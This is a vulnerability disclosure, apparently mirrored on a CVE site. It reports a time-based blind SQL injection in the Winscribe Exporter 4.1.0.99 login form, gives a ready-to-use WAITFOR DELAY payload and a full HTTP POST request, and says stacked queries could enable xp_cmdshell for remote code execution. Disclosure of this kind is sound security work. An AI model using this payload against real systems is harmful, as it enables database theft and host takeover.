MISC:https://slazarus.xyz/winscribe.html


Download: text/plain
Original: slazarus.xyz
There's an SQL injection vulnerability in Winscribe Exporter version 4.1.0.99<br><br>
The login page accepts a username and password field and submits a POST request which is vulnerable to SQL injection.<br><br>
You can inject time-based SQL queries to ask true/false questions about the database, and use this to extract information based on the time that it takes for the web server to respond to your request.<br><br>
For example, if you inject the following into the txtPassword parameter in the login POST request:<br><br>
';IF(LEN(DB_NAME()))>1+WAITFOR+DELAY+'00%3a00%3a1'--<br><br>
If the database name is greater than 1 characters long, there will be a delay (2 seconds in my case).<br><br>
Variations of this query can be used to ask the database any true/false question and therefore extract any information from the database.<br><br>
Additionally, because this is a stacked query, you can also enable xp_cmdshell on windows hosts if it is both available on the host and the MSSQL user running the database has system administrator (sa) privileges, in that case this vulnerability would allow you to get remote code execution. <br><br>
I've included an HTTP request which illustrates a time-based query, with a redacted hostname.<br><br>
You'll need to replace the hostname (REDACTEDHOST) appropriately. You'll probably also need to replace other parameters in the request
<br><br>Example request:<br><br>
POST /exporter/Login.aspx?Referrer=%2fexporter%2fDefault.aspx HTTP/1.1<br>
Host: REDACTEDHOST<br>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0<br>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>
Accept-Language: en-US,en;q=0.5<br>
Accept-Encoding: gzip, deflate<br>
Referer: https://REDACTEDHOST/exporter/Login.aspx?Referrer=%2fexporter%2fDefault.aspx<br>
Content-Type: application/x-www-form-urlencoded<br>
Content-Length: 765<br>
Connection: close<br>
Cookie: ASP.NET_SessionId=yigsw2rncvogujwh5wcnalg2<br>
Upgrade-Insecure-Requests: 1
<br><br>
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjAzOTYwOTcwNA9kFgQCAQ9kFgICAQ8PFgIeBFRleHQFBCA0LjJkZAIFD2QWDAIBDw8WAh8ABQVMb2dpbmRkAgMPDxYCHwAFB1VzZXIgSWRkZAIJDw8WAh8ABQhQYXNzd29yZGRkAg8PDxYCHwAFBUxvZ2luZGQCEQ8QDxYCHwAFDlJlbWVtYmVyIExvZ2luZGRkZAITDw8WBB8ABRJGb3Jnb3R0ZW4gcGFzc3dvcmQeC05hdmlnYXRlVXJsBRFTZW5kUGFzc3dvcmQuYXNweGRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxjaGtBdXRvTG9naW6HXXhGMx8rATHqkROHma2R9Ea6yKm0ymvJCKv5R642fA%3D%3D&__VIEWSTATEGENERATOR=CC74AF2C&__EVENTVALIDATION=%2FwEdAAW7dvVNaMUC7zoJvPSZ9IgYDlm4ViRSj8IOmM%2BvzfHmfXY2%2BMc6SrnAqio3oCKbxYainihG6d%2FXh3PZm3b5AoMQUft%2F7Y%2FBKHEfxQTf5YB43P6RvlgsBI0eBiXVINjep47L3IwPOsPa3%2BlaG2STIuH4&txtUserId=admin&txtPassword=';IF(LEN(DB_NAME()))>1+WAITFOR+DELAY+'00%3a00%3a1'--&btnLogin=Login<br>

© CVE.report 2021 Twitter Nitter Twitter Viewer |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

CVE.report and Source URL Uptime Status status.cve.report